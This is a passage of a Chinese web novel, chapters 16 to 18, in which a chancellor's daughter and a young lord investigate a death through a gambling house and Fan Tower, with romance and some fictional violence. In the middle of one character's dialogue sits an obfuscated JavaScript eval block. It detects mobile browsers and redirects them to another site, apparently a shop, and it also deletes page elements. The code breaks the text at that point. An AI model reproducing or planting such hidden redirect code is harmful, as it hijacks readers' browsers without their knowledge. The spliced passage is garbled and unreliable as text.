小群拼命站起,想要逃跑,一路跑向门口,刚踏出门槛,她下意识看向脖颈处,那里已经被划开一道口子,正在往外冒着滚烫的血。 明枝溪缓缓走出,盯着面前一众女婢,有些疲惫:“小群,绘椿,欺上瞒下,以至于主家的贵重物品被偷窃,就地格杀,希望你们不要背叛我。” “否则这就是你们下场,好了,我累了,将尸体抬去乱葬岗,收拾一下,我先去睡了。” 明枝溪淡定的走向屋内,越过屋内的尸身走向床榻,褪去衣衫便准备好好睡一觉,双鱼玉佩依旧被藏在枕头底下。 屋外众人尖叫连天,被小玉厉声呵斥:“你们都叫什么?这两人不珍惜在丞相府伺候的日子,弄死了也是活该,指不定哪天还昧着良心将我们也骗了呢!” 众人面面相觑,谁都不敢吭声,只有彩诺冷静些,咬着嘴唇似乎是在思考,不一会儿她开口问小玉:“那小群与绘春的母亲怎么办?” 明枝溪的声音从屋内传来:“都冷静些,又不是什么大场面,小群她可没有母亲呢,她平日里都是框你们的,只是为了多借一些银两。” “这样才好去赌坊里博个好彩头啊,不过我估计啊,就她这点心眼,别人出千她都不知道。” “至于绘春,她母亲早就与她断干净了,她手脚不干净,整日里偷东西,还天天挑穷苦人家下手,死了也就罢了” 说完屋内便没了声音,屋外头目瞪口呆,双双对视,小玉趾高气扬道:“我们姑娘其实已经把你们每个人的底细都摸清楚了,就靠你们那些文书一点都不靠谱。” 明枝溪是真的累了,头又开始剧烈疼痛,她紧蹙眉间终于是沉沉睡去。 —————— 第二日晌午明枝溪堪堪爬起,依旧是那些流程,她有些心不在焉,屋内已经打扫的整洁如初,刚坐在梳妆台前准备给自己束发时,外头再次传来鸟叫。 “说。”明枝溪手没停,编着头发。 尔苗站在屋外,背靠着墙,轻声说道:“霜珂死前去过很多地方,大多数都已经排除,只剩那么两三个,其中我觉得最可疑的是赌坊。” 赌坊?又是赌坊,明枝溪想着,随即开口问:“还有什么发现的吗?” “无,未查到可疑之人,那人行踪诡秘。”尔苗侧着头注意周围。 “其余地方交给你们,赌坊我比较感兴趣,是京城最乱的那家?”明枝溪编发的手顿了顿,发型散开,她满头大汗,索性放下了手。 “是,那就交给主子你了,万事小心。”尔苗道。 “你们也是,都活着,不要出意外。”明枝溪双手放在膝前,看着铜镜中的自己。 “是,属下告退。”尔苗说罢,一丝声儿都没响,消失在竹林中。 明枝溪头上的痂已经掉了大半,露出粉嫩的肌肤,她伸出手抠了抠,实在是抠不掉,她站起身打开门问:“彩诺,你会盘发吗?” 彩诺正在院子里站着,听见这话回道:“回姑娘,奴婢会。” “那你进来帮我盘发吧,小玉去哪了?”明枝溪转身向里走去,坐在梳妆台前等待着。 彩诺急步走进,洗了把手,用梳子梳头,回答着:“小玉今日休沐,一大早就嚷嚷着要买糖葫芦去看青禾。” 明枝溪沉默着,彩诺动作熟稔,竟然比之前盘发的婢女手艺还好些,明枝溪看了略微点点头:“嗯,以后你给我盘发。” 彩诺道了声是,便识趣的退下了,明枝溪又开始翻找衣橱,选择今日穿什么去赌坊。 明枝溪眼中看见一模深红,笑着弯下腰拿在手中掂量,是一件束袖口的衣裳,带着黑色的烫花,也不知道什么时候做的。 她心想着,谢槐池也穿束口的,那我也穿。 想着她便换好了衣裳,穿在她身上还真有种江湖女侠的风范。 彩诺端着托盘推门走进,一一放在桌上:“姑娘,这是大娘子吩咐的,说贪玩可以,但也要注意身体,记得吃饭,不吃饭伤胃。” 明枝溪心中五味杂陈,走向前去坐下,开始吃饭:“少了些海味儿。” “回姑娘,您头上的伤疤还未好全,不可吃海鲜。”彩诺站在一旁手中还拿着托盘。 “知道了,你下去吧,我会吃的。”明枝溪嚼着饭,时不时加一根青菜,索然无味。 彩诺点了点头,悠悠退下,明枝溪吃得有些恼火,索性垫巴两口就不吃了,将双鱼玉佩挂在腰间,便往外走去,彩诺见明枝溪出门,进去收拾饭菜,深深摇摇头。 明枝溪觉着自己前几日躺久了,索性也不坐马车,一路溜达去了开国侯府,站在府外她正思考着以什么名义进去时,一道人影缓缓走出。 今日谢槐池也穿着深红束口衣裳,他见了明枝溪身影后小跑出来,与明枝溪在一块就像是要拜堂。 “你怎么来这儿了,不去望风楼了?”谢槐池扬起嘴角,打量着明枝溪,“你我这样穿好像是要拜堂成亲了。” 17. 第17章 赌坊 艳阳天,阳光照射在身上有些燥热,鸟儿叽叽喳喳从头顶越过。 明枝溪看着谢槐池与自己一般的穿着,再想想他方才说的话,莫名的捂嘴笑着:“那你和我还真是心有灵犀一点通,先说正事吧。” “昨日我屋内被贼人翻了个底朝天,只为了拿走青禾给我留的信,你说这奇不奇怪。” “你人没事吧?”谢槐池听到这有些着急。 “我人没事,没与那歹人对上。”明枝溪伴着谢槐池朝着远处走去,边走边道,“随后我调查时发现,有人买通了我身边的婢女,她们将其余婢女迷晕后,那人便偷摸的进来找信。” 谢槐池转头看向明枝溪问:“信上可有什么特殊内容。” 明枝溪沮丧地摇着头:“没有,整张信纸只有对我的一些慰问,并无其余线索。” “有没有一种可能,她们与幕后真凶对上过?”谢槐池沉思道。 “不能排除这种可能,今早我的暗卫还同我说了一件事情,霜珂死前去过赌坊,可她并没有□□的习惯,所以今日我们去那。”明枝溪双手背在身后,嘴角带着一丝弧度。 “嗯,我昨日调查了洗劫无芦村的强盗,他们大多都不是这附近的,那他们也不可能从安全的据点,闲着没事干找死,跑这儿来吧,也就是说,他们是故意来这儿的。” “于是我就简单查查,也查出了一个地方,樊楼。”谢槐池走着,越走离明枝溪越远。 明枝溪一脸疑惑的看向他,指着他喊:“你!那天是你跟踪我!” 说着明枝溪跑上前,两人一顿打闹,谢槐池佯装可爱的将脸凑到明枝,正欲举起的手掌旁。 琥珀色的眼睛望着明枝溪,她一时间也有点不想出手了,而是双手用力的捧住谢槐池的脸颊,揉捏着。 “我的小观音,你现在还生气吗?”谢槐池抬眼看向明枝溪,像讨赏的小狗。 明枝溪抬起一只眉,撇着嘴:“别以为你装可爱就能蒙混过关。” “我这不是担心你吗,再说了我也要调查这件事情嘛,小观音行行好,原谅我吧。”谢槐池将脸凑近了些。 近距离接触下明枝溪还真有些顶不住,急忙松开手往后退两步,捧着自己滚烫的脸,支支吾吾:“原谅你了,这..这天气也太热了。” 谢槐池嬉笑着上前打趣:“究竟是天热,还是羞热?” “你讨厌!”明枝溪不理会谢槐池朝着赌坊的方向走去。 谢槐池跟上明枝溪,站在她身侧:“赌坊那地方可不是一个人能去的,尤其是像你这样的大小姐,估计一进去就被洗劫一空了。” 明枝溪勾起嘴角,目光阴狠:“那我可不是什么娇柔的小娘子。” —————— 赌坊门外是一群形形色色的小摊,明枝溪随处找了个茶摊坐下说道:“老板,来壶茶。” 那老板在灶台前煮着新茶回复着:“诶,好嘞,今日得了新茶,给姑娘与公子泡一壶,尝尝鲜。” 不一会儿老板就拿着茶壶,陪着笑走来,看这两人的衣着“哎呦”一声,放下茶壶便双手合十:“恭喜二位新婚呢。” 明枝溪刚给自己倒上茶,听了这话手一抖,撒出去些:“我们还没成婚。” 老板听了笑容收起,神色有些窘迫:“哦哦哦,不好意思啊,我还以为你们二人新婚呢,对不住,对不住啊。” 谢槐池眯着眼笑着看向老板,开口问:“老板,这赌坊平日里都有什么人啊。” 这茶摊正巧在赌坊的正对面,平常应是能留意来人,老板听了眼神望向赌坊,挠着头赔笑:“公子跟我说笑呢,这赌坊不就是一些赌徒吗?” “近日没有什么特殊的地方?”明枝溪拿出二两银子放在桌面上,向着老板处推了推。 老板默默的收下钱,佯装想起:“哦!对了,平日里傍晚就会打烊,可近日不知怎么了,每日都要深夜才打烊,而且前些日子还来了几个小娘子呢。” “要我说现在小娘子真是的,就赌坊那群人,她们一进去不就生吞活剥了,可是还真没想到那天有一个男的,亲自送那几个小娘子出来呢。” 明枝溪双眼压低,喝了口茶,不在意的开口问:“什么样的男人?” 老板很自然的接下去:“呃...戴着帽子,脸倒是看不清,一身黑,身材还挺壮实的,不算高。” “嗯,这茶还真行啊,手艺可以的老板。”谢槐池喝着茶打岔道。 明枝溪朝着谢槐池点点头,她起身向着赌坊走去,推开门走进,里头有些旱烟味儿,骰子的声响响彻耳畔。 时不时有人转过身看明枝溪一眼,屋里男子占大多数,也有一些妇人在责骂自己的丈夫,二楼有还有几间包房,门都紧锁着。 “哟,哪里来的小娘子啊?要来陪本大爷玩一局吗?”一个光头男站在不远处,手中拿着几个骰子时不时抛向天上,又稳稳接住。 “行啊,玩什么?”明枝溪爽快的答应了,走向前目视着面前的男子。 光头男打量着明枝溪,鄙夷的看着她:“哼,看你也没玩过,来个最简单的,猜大小怎么样?” 明枝溪兀自坐在长桌前:“可以,赌什么?” “你想要什么?”光头男走向她对面的椅子,稳稳坐住。 “这样,我输了银子给你,你输了给我个与银子相同价位的情报,怎么样?”明枝溪勾起嘴角,眼中没有透露出慌张,反倒是兴奋。 光头男点点头,爽快道:“行,我可只知道赌坊的情报啊,小娘子可别问错了。” 说着他将骰子放进面前的盅里,一把倒扣在桌上,左右摇摆着,猛地停住,阴恻恻开口:“赌注呢?小娘子。” 明枝溪随手掏出五两银子,放在桌上,手指轻轻敲击着桌面:“我赌大。” 那人嘻嘻的笑着,打开盅,面色一变,凶煞的看向明枝溪喊着:“你出千!” “哦?我怎么出千?我可是离你很远啊。”明枝溪玩弄着面前的银子,手撑着头看向面前这个光头男。 只见光头男有些哑口无言,迟迟说不出话来,明枝溪接着补充道:“愿赌服输,你已经输了一次了,还要再来一次吗?” 光头男狠狠的剜了明枝溪一眼,丢给她一个盅道:“这样,玩点难的,虎数,怎么样?” 明枝溪迟迟未开口,那男子便得意起来:“怎么你不会啊?不会还来这赌坊做什么?” “我什么时候说我不会?”明枝溪直直看着那名光头男,不禁让他有些毛骨悚然,“我是在想要赌多少银子,这样吧。” 明枝溪从荷包中掏出五两,与桌上的银子放一块:“十两。” 光头男咽着口水,盯着明枝溪不服输的摇着骰子,明枝溪同样不输气质,眼神直勾勾盯着光头男也跟着摇着骰子。 两人一同停下,明枝溪挑着眉示意光头男先报数,光头男看了一眼骰子道:“三个六点。” 明枝溪打开盅,轻蔑的笑着:“六个六点,你怎么这么胆小啊,我个姑娘家都比你会喊。” 光头男恼羞成怒,看着自己盅里只有一个六点,再次得意起来,喊道:“我开你!” 明枝溪撇起嘴,打开了盅,里面赫摆着五个一点,不管光头男报多少,这都是稳赢的局面。 “我是老豹子。”明枝溪嘴角更加上扬,止不住的兴奋。 光头男忽的站起身,身形都有些摇晃,看着明枝溪面前的骰子,指着她大喊:“你是不是出千了?怎么可能五个一点,不可能,你出千。” 明枝溪双手摊开,无奈的摆了摆,耸耸肩:“没办法,运气摆在这,怎么样我还能多送你一个,买一送一,很划得来了。” 光头男感受到了挑衅,怒火中烧,大声吼叫着:“好啊,是个有胆量的娘们,来砸场子是吧?” 周围的赌徒闻声纷纷回头看来,明枝溪挑着一只眉,波澜不惊的坐在那儿,纹丝不动:“怎么?赌就非要输吗?愿赌服输,是你输了。” “我去你的。”光头男大喊着,面露凶光,“兄弟们给我上!” 大门猛地被推开,谢槐池鼓着掌走进来:“厉害,想要比试吗?” “诶呦我去,你又是谁?”光头男摸着自己的光头,打量着明枝溪,再看看谢槐池不耐烦的大叫着,“哥们,你娘们?” “嗯,你可以这样理解。”谢槐池扬起嘴角看着光头男。 明枝溪不吭声,鄙夷的环顾一圈,脸上收起笑,光头男无可耐烦:“你娘们你不管好?等着我给你管吗?” “你还没有资格管。”话音未落,明枝溪的拳头已经打在光头男的脸上。 他倒在地上,伸手摸着嘴角,放在眼前一看,竟然流出了鲜血,光头男吐了一口带血的吐沫,手指向明枝溪,对着周围的人喊道:“给老子干她!今天非要给你们两个小崽子打服,不然老子不姓周。” 众人摩拳擦掌,步步逼近明枝溪,谢槐池猛地站在桌上越过人群,再次给了光头男右脸一拳,站在他面前仰视他:“哟,你的脸还怪好揍的,平时保养的不错吧。” 光头男被着突如其来的一击打的脑袋发蒙,不可置信的看向谢槐池:“你们两个夫妻还真是胆大包天,来我的场子闹事,我非要给你见识一点厉害的。” 说着他爬起来,随手拿了一根木棍,向前打去,谢槐池后退一步,棍子由他的鼻尖前方划过。 他躲过一击,再次出拳,这一拳用了十足十的力道,打在光头男的左脸上。 光头男猛地被打翻在地,谢槐池松松筋骨:“左脸不是很舒服,我更喜欢右脸,但是一直打你的右脸好像不太厚道。” 打哪里厚道?光头男腹诽。 众人见此情景一窝蜂冲上前,谢槐池从身后拿出剑扔给明枝溪喊道:“我的剑借给你用。” 明枝溪敏捷的跳起接过剑,一名高大汉见了随手拿起一旁的椅子砸去,明枝溪向右躲去,椅子在身后爆裂开,发出脆耳的声响。 她猛地出现在高大汉的身边,一剑挥去,高大汉的大腿上出现一道血痕,鲜血正在缓缓流出。 他急忙捂着腿求饶:“女侠,我们只是听命行事,也不想真要闹出人命啊,这还在京城,出了事我们谁都躲不过。” 明枝溪深知这个道理:“我知道,所以我才往你腿上砍,不然你早死了。”

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高大汉思考一会儿,看向二楼包房:“她们..她们去了二楼包房,随后拿着银子下来了。” “废话,我们如果不知道这事儿,还来找你们干什么?包房里那男的,你们谁认识?还有当时送她们出门的男子,叫什么名?家从何方?”明枝溪翘着二郎腿看着面前跪了一地的人。 众人皆不吭声,低垂着头,看向地板各怀鬼胎,高大汉露出贪婪的笑说:“这不是十两的价格。” 明枝溪真没想到对方会这样说,将荷包中的银子拿出一些,洒在地上:“现在呢?” 大汉们都跪在地上抢着银子,光头男再次举起手:“我说,只是这银子...” “我给得起。”明枝溪将荷包放在桌上,“只要是说出情报的我都给。” “那个男的是个太监!”这声音听着软弱无力,明枝溪这才注意到边上还有一个人。 那个男的看上去快死了,面无血色,嘴唇煞白干燥,皮肤上长着许多青紫色的斑痕,发量稀疏,好似随手薅一把就能全部掉完。 “哦?太监?你是如何知道的?”谢槐池定眼望去,那男子瘫坐在椅子上。 “他喜欢去藏香楼,巧了么,我也喜欢,我回回都能见着他,那些如花似玉的姑娘们总是谄媚的缠着他,直到后来我听见一个姑娘在背后议论,说那男的没有根。”男子表情怪异,看着有些恶心。 明枝溪蹙眉问:“宫中哪里的太监?” 只见那名男子摇摇头,举起手中的焊烟抽了一口,吐出一口烟:“这我就不知道了,不过嘛...你们可以出钱让我去打听啊,毕竟对你们来说,藏香楼很腌臜吧。” 明枝溪觉得这是个好主意,将荷包里一半的银子扔给了他:“你要守信,不然我会杀了你。” 那名男子满眼泛着光,跪在地上捡着银子,烟杆掉落在地,里面的烟草伴着火星弹射在地上。 谢槐池学着明枝溪,拿出荷包里的银子放在桌上:“还有没有?” 光头男见真有人透露,一股脑的开口:“我!那个送姑娘出去的男的,我知道住哪!只是最近他都没回来,还有一个男的,我虽然不认识,但是看他那排场,非富即贵啊!” 谢槐池点点头,将银子丢给他,有人想要去抢,于是一群人扭打在一块,根本问不了话。 明枝溪走向虚弱男,开口道:“有情报来望风楼,我的人会在那接应。” 那虚弱男点着头,数着怀中的银子,明枝溪不再理他,转头望向在地上抢银子的光头男喊道:“有消息来望风楼找我们。” 两人走出门,在屋子里待久了,明枝溪嗓子有些疼痛,想来是焊烟闻多了,将剑交还给谢槐池,声音有些嘶哑:“多谢。” 谢槐池收下剑,插回剑鞘内问道:“你这嗓子怎么了?不舒服?” 明枝溪点点头,朝着茶摊方向走去:“喝点茶也许就好了。” 两人坐在茶摊里,谢槐池在怀中翻找着什么,明枝溪一脸疑惑的喝了口茶,声音依旧嘶哑着问:“你在找什么?” 话音刚落,谢槐池便拿着一颗被油纸包裹的糖,笑着露出了他那两颗虎牙:“这个糖润喉。” 明枝溪被谢槐池的情绪感染,也跟着笑,接过谢槐池递过来的糖,缓缓拆开放进嘴中,一股清凉感直冲脑门。 “好凉,这里面加了薄荷叶?”明枝溪将糖挤向一侧腮帮,顿时鼓起来一颗。 谢槐池笑着点了一下明枝溪鼓起的腮帮道:“是,里面加了薄荷叶,我自己做的。” “你自己做的?”明枝溪瞪大双眼,不敢相信面前这位养尊处优的世子,居然还会做这些小玩意,“你还会做什么?” “麦饼。”谢槐池手撑着脸看着明枝溪,“我其实什么都会做点,闲,无聊瞎捉摸。” 明枝溪思考一瞬道:“那我之前吃的那个麦饼是你做的?!” 18. 第18章 点了两首曲子? 谢槐池‘扑哧’笑出声,玩味似的盯着明枝溪:“你怎么才发现?我记得我小时候常做给你吃的啊。” 明枝溪撇撇嘴,薄荷糖被挤压到另一边:“我哪能记的这么详细。” “怎么样?嗓子好受些了吗?”谢槐池紧紧盯着明枝溪的嘴唇问。 明枝溪试着咳了咳,发觉竟真的好受多了:“嗯!这小玩意可以啊,以后不想当官了,我们还能开个铺子。” 谢槐池眯着眼睛笑起来:“怎么?不希望我当官了?” “希望啊,但是人不一定这辈子都当官,以后肯定要告老还乡的,到时候我们就回苏州。” “盘下一间小铺子,咱俩专门研究这些小玩意怎么样?”明枝溪越说越起劲,双手捧着脸,就差凑上去了。 “听起来还不错,那你就是掌柜的,我就是店小二兼厨子。”谢槐池应和着。 明枝溪看向面前这张白嫩的脸蛋,不自觉的伸出手掐了掐:“你长得真可爱。” “谢谢。”谢槐池眯起眼迎合上去,任由明枝溪掐着自己的脸颊。 “好啦,我们现在去樊楼吧。”明枝溪收回手站起身,双手叉腰,“出发!” 谢槐池慵懒的站起,两人并肩朝着樊楼走去。 —————— 樊楼前人声鼎沸,有外乡慕名而来的外乡客,也有不少京城内的公子富商。 一座气派的大楼出现在两人面前,色调红绿相间,高楼的窗台时不时就有婢女扔下花瓣。 花瓣飘落在水面上,一路向东飘去,虽说还未到夏季,可樊楼附近的湖边,荷花与荷叶相伴着从淤水中长出。 两人走进一座廊桥,两侧的景象美不胜收,纷纷映照在两人眼中。 湖中的水被阳光照射着,波光粼粼,廊桥的顶上映射着湖面的涟漪。 明枝溪走在廊桥中,不禁瞪大双眼,暗自腹诽:这说是皇宫我都能信。 谢槐池双手环抱在胸前,瞧着面前这个已经迷失在风景中的明枝溪,嘴角不自觉的带上笑意。 明枝溪俏皮转头,激动的喊着:“这是樊楼?这分明就是皇宫吧!怎么一个吃饭的地儿搞得这么复杂。” 谢槐池耸耸肩:“不知,但是还要走一段路程呢。” “这么大?”明枝溪惊诧的望向远处,高楼远远立在那儿,中间夹杂着许多园子。 “还要走过一个园子,两座廊桥,也不是特别远。”谢槐池打趣道。 还没到地方呢,明枝溪已经泄了力,兴致不高,病恹恹的走在道路上,“我说怎么进去就有人花钱买吃的,这距离..我觉着我好不容易走到那,就算没有合我胃口的吃食,也能花个几百两。” 不知走了多久,终于是到了最后一座廊桥上了,明枝溪没有理会周围的风景,只是端正了仪态向前走去。 而明枝溪便是谢槐池的风景,谢槐池双眼直勾勾盯在明枝溪身上,始终带着诱人的微笑。 “二位客官,请稍等。”一名长相甜美的女子拦在前方,面上带着温和的笑容,“二位是第一次来樊楼吧,我们这儿进去是要登记的。” 明枝溪脚步顿了顿,看向谢槐池,两人双眼对视一眼,明枝溪问:“登记?登记什么?” “自然是身份,家从什么生意。”那名女子将一本册子捧到两人身前,“就如同这样。” 明枝溪快速扫过一眼,没有什么特殊的人,想来真正有事的人也不会填自己的真实姓名。 “原是这样,丞相之女,明枝溪。”明枝溪微微向着对方欠身,“这位是..我哥明子晋。” “咳咳。”谢槐池收回方才正要说出口的话,看向明枝溪使了个眼色,大致内容便是:你怎么乱说。 明枝溪也回了他一个眼色:好解释,不然有人问起我与你来樊楼,怎么解释。 谢槐池有些无奈的看向前方,只见那位女子登记完之后才让开身位:“二位里面请。” 两人刚向里走去,便有另一名女子窜出,穿着极为华丽,面上带着大方的笑:“二位贵客请跟着我。” 明枝溪点点头,到处张望着,楼的中央有一块高台,一名脸上佩戴着面纱的女子坐在中央,正抚着琴,弦音流转,令人心旷神怡。 走过一处长廊便要向上走,盘旋的楼梯在头顶高悬,谢槐池留意着有无可疑身影,直至走到席位都并无太多发现。 那名女子伸出手指引着:“这儿便是二位的包厢,请进。” 明枝溪先行走进,一处由栏杆围住的站台出现在她的眼中,虽说是包厢可是却没有门,一丝隐私性都没有。 明枝溪还未开口,谢槐池率先道:“没有隐私性高一点的?这随便来个人便能将我们说的话听得一清二楚。” 那名女子陪着笑:“明公子说笑呢,我们分配席位从来都是按身份分配的,若是您家大人在,没准能给您安排一处隐蔽的席位,明公子请安心,门外有两名小厮看守着。” 明枝溪听这称呼听得有些发毛,打岔道:“你们认识很多世家子弟?” 那名女子点着头:“凡是来过樊楼的我们都知道,若是没来过自然也就不知了。” “哦,那如若是有人谎报姓名呢?”谢槐池试探问。 “无事,本就是吃菜的地儿,何须讲究如此之多。”那名女子面上依旧带着笑,好似完全没有放松过。 明枝溪听着这话,忍不住腹诽,还吃饭的地儿呢,查路引也没这么多事儿。 谢槐池不语,坐在明枝溪身侧,拿起面前的菜本子,端详着,随后交给明枝溪:“你自己看吧。” 明枝溪接过菜单,拿起水杯喝了一口,猛地呛住:“这菜本子上的价格是真的?” “自然是。”那名女子淡淡道。 我去,这是抢钱来的吧!家底若是不够充足谁还敢来这啊,一道菜就要我二十两白银,明枝溪腹诽。 谢槐池藏着笑,被明枝溪的手肘碰了一下才正襟危坐:“随便来几个菜吧。” 明枝溪呵呵笑:“你点吧。” “可以。”谢槐池随手指了几道便宜的,“你家这名儿倒也是奇怪,这个飞上枝头雀,还有这个伯牙之友,再来道...” 那名女子神色异常,盯着面前端坐的二人:“二位稍等。” 明枝溪觉察到面前女子的神色,待其走远了才缓缓对着谢槐池道:“哪有在人店里说人家菜名怪的。” 谢槐池疑惑问:“可是你不觉得怪吗?” 明枝溪憋着笑,点点头:“这是挺怪的,但也有正常的啊,你怎么专门点怪的了,万一真的很怪,味道也怪,怎么办。” “不要怪不怪了,我就是想看看这究竟是什么。”谢槐池听着有些烧脑,打岔道。 “好好好,言归正传,你有没有见着什么奇怪之处?”明枝溪问。 “并无。”谢槐池给自己倒了杯茶,“说不定都在楼上那些隐蔽的包房。” “看来有空得缠着我爹带我来一次。”明枝溪思索着,“只能等我生辰再来查了。” 正听着下方传来悠转琴音,忽然有人在下方大喊道:“接下来是丞相府嫡子明子晋,明公子点的两首曲子,请诸位尽兴。” 明枝溪猛地吐出一口茶水,拍着胸脯,久久不能停歇。 “咳咳咳。”谢槐池也被茶水呛住,脸有些微微发红,“原是曲子,至于这么兴师动众吗。” “多少银子?”明枝溪此时只在意在两首值多少。 谢槐池支支吾吾:“呃,二十两一首。” “也就是说我们花了四十两就为了听个曲?”明枝溪张大嘴,目光呆滞的看向谢槐池,“我现在知道为什么方才那位姑娘神色忽然异常了,这分明就是两个傻子。” “我也点了其它的,之前在老金那儿吃过的菜。”谢槐池解释道。 “没事来都来了,听完吧。”明枝溪无奈道。 最终桌上只有两盘菜,以及一大盆饭。 门外两名小厮捂着嘴说着悄悄话,明枝溪努力听去,尴尬的笑了笑,凑近谢槐池耳边小声道:“这饭还是人掌柜的看我们第一次来送的。” 谢槐池耳根微红,挠着头嘿嘿笑着:“以后一定注意。” 这时一名男子缓缓走来,本是挂着友好的笑容,见着二人时手中的酒杯掉落在地,发出声响,小厮拦着他,大声呵斥着。 只见他正要开口说话,谢槐池一把上前,将手臂搭在对方的肩膀上,对着小厮道:“我们认识我们认识。” 小厮这才安静下来,一脸歉意的对着眼前的男子致歉。 谢槐池凑见那名男子耳边小声道:“你要是敢说出去,我要你狗命。” “顾公子,今日好雅兴,竟能在此碰面。”明枝溪站起做福。 顾从希一脸不情愿的被谢槐池强压着坐下,闷闷不乐道:“我还以是明兄呢,怎么是这厮。” “你以为我想见到你吗?你最好不要将此事说出去,后果你知道的。”谢槐池面上带着假笑,“既然你人都来了,不如今日这顿饭你请我们吧。” “凭什么?我不就是想来打个招呼。”顾从希厌恶的看向谢槐池。 “这请不请的我倒是无所谓,只是有一事想要问问公子,不知当讲不当讲。”明枝溪忽的开口,语气带着一些恶意。 顾从希浑身打了个冷颤,警惕问:“什么事情?明姑娘请说吧。” “你与我妹妹...” 明枝溪话还没说话,顾从希急忙打断:“是,我是真心的。” “那是喜欢还是爱呢?会保护她不厌弃她吗?”明枝溪神色微沉,睫毛向下低垂着。 “我爱她,我一定会保护她。”顾从希信誓旦旦答道。 “那你请我们吃饭吧,我们银子不够了。”明枝溪看着荷包中的银子,就算与谢槐池加在一起,都不够这顿饭钱。 “呃?”顾从希表情疑惑,“你问这些事情就是为了让我请你们吃顿饭?” “当然不是,我可以帮你说好话啊。”明枝溪俏皮道,“你也想娶我妹吧?” “什么叫也?”顾从希仔细抠字眼问。 “我妹妹知书达理,五官端正,品行兼优,想娶她的人自然是多,我可听我父亲与和小娘说了,正在给她物色心仪之人呢。”明枝溪说到最后故意提高音量。 顾从希神色着急:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567715|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯!这顿饭我请你们,还请明姑娘多帮我在明大人面前说说好话。” 他说着给自己倒了杯茶水,举起水杯:“我以茶代酒,多谢明姑娘。” 明枝溪露出得逞的笑,冲着谢槐池使眼色,随后端起茶杯两人对饮:“嗯,那这就交给你了。我们还有急事,先行告退。” 明枝溪站起身,略微理了理衣摆,两人就这样大摇大摆的向楼下走去。 直到走出了正门,明枝溪才忍不住放声大笑:“今日还得谢谢明映,不然我们俩就要在这樊楼刷盘子了。” 谢槐池挑着眉问:“你方才是故意这样说的?” “是也不是,只是明映确实是到了议亲的时候了,而这两人心悦彼此,就等着顾从希上门提亲呢,有时候谎言也是善意的。”明枝溪看着眼前的风景道。 两人向着外头走去,日头渐渐下落,夕阳挂在天边久久不散,不比冬日转瞬即逝。 终于是走到了外边,明枝溪冒着汗,拿出腰间团扇扇着风,发丝随风摇曳:“如果不是有线索我可能再也不会来了。” 谢槐池跟着点点头:“我也是。” “今日就到这儿吧,我还赶着回去给你绣帕子与荷包呢。”明枝溪拿出帕子擦拭着额头汗珠。 “好,我送你回去吧。”谢槐池道。 明枝溪笑着点点头:“那走吧,天天让你送我都有些不好意思了。” “那我不送?”两人走在街上。 “那不行,我脸皮厚,不会不好意思,还请劳烦世子日日送我回府。”明枝溪娇俏的抬起头看向谢槐池。 谢槐池捂住嘴笑出声:“好,那本世子日日送明姑娘回府,只要你不嫌我烦就行。” 两只喜鹊落在围墙上,看着眼前嬉戏打闹的二人,摇晃着脑袋,一只三花猫沿着围墙走来,将两只喜鹊吓的立马振翅飞起。 ‘喵’的一声,明枝溪被吸引,转头看向围墙上,正坐着舔着手洗脸的猫咪,目光一亮,拍拍谢槐池道:“哥哥你看那只猫,昨日它就在我院里,今日又碰着它了。” 谢槐池顺着明枝溪目光望去:“你喜欢这只猫?” “喜欢啊,只是昨日情况混乱,一时间忘记了它,不然我定是要将它养起来。”明枝溪缓缓走向前。 猫咪觉察到了她正在靠近,轻轻的叫了一声,随后一跃而下,径直跳进明枝溪的怀抱中,慵懒的躺在那舔毛。 明枝溪抚摸着它,对着谢槐池道:“它很聪明的,我觉得它听得懂我说的话。” 谢槐池笑着露出两颗小虎牙,看着眼前的一幕,夕阳光打落在明枝溪身上,怀中的小猫正在享受的打着呼噜。 “你愿意跟我回家吗?”明枝溪轻轻抚摸着猫咪的小脑袋。 只听那只猫‘喵’了一声,很乖巧的将头靠在在明枝溪的手臂上,明枝溪神情激动,看向谢槐池兴奋喊着:“你看,我说了它很聪明的。” 谢槐池双手环抱走向前,伸出手抚摸着她怀中的小猫,问:“你要给它取什么名字。” 明枝溪抱着小猫向着前方走去,地垂着头看着怀中的小猫:“简单些吧,春雪?” “为什么叫春雪?”谢槐池走在身侧,“春天也不下雪啊。” “诶呀,哥哥!有些事情只可意会不可言传。”明枝溪娇羞的瞥了一眼谢槐池。 眼看着就要到府门口了,急忙跑进去,向着站在后方的谢槐池喊:“你自己琢磨吧。” 门外的小厮纷纷行礼,明枝溪抱着春雪向里走去,天空上方小白正在盘旋,明枝溪急忙跑向院内。 将春雪放在地上,对着它道:“以后这就是你的家,晚上记得回家!我会让她们给你准备吃食的!” 春雪‘喵’了一声,到处探索起来,明枝溪朝着屋内走去,小白站在窗沿上‘咕咕’叫着,似乎在表达着不满。 明枝溪走向前,抚摸着小白的羽毛,猛地发现缺了几块,想起昨夜里的雪白羽毛,拍了拍自己的脑门,对着小白道:“对不住啊,我昨日忘记了。” 小白依旧‘咕咕’的叫着,眼神转来转去,明枝溪跑向后方,从柜子中拿出小鱼干:“奖励你吃这个,以后你和春雪还可以一起吃这些小零食。” 小白不满的扑腾着翅膀,明枝溪伸手安抚着小白:“那晚上我让她们给你准备鲜肉,不要生气了。” 小白这才停下翅膀,眼神直勾勾看着明枝溪,随后飞向鸟架子等待着,屋外婢女们全都已经炸锅了,纷纷都在感叹春雪的可爱。 明枝溪走出门,小玉立马迎了上来:“姑娘,这猫?” “我养的,晚上记得让小厨房给它准备熟肉,还有小白,它晚上要吃鲜肉。”明枝溪嘱咐着。 小玉双眼放光,连忙追问:“它取名了吗?叫什么?” “春雪。”明枝溪靠在躺椅上,春雪朝她飞奔而来,一溜烟爬上躺椅,窝在明枝溪的大腿上,打起呼噜。 小玉点点头,眼神看着春雪不离不弃:“我现在就去找小厨房。” 小玉依依不舍的往后院跑去,明枝溪手中拿着针线与一块质地柔软的淡粉红布料,认真的绣着,不出一会儿,一只小猫头便出现在布料上。 19. 第19章 平淡的日常 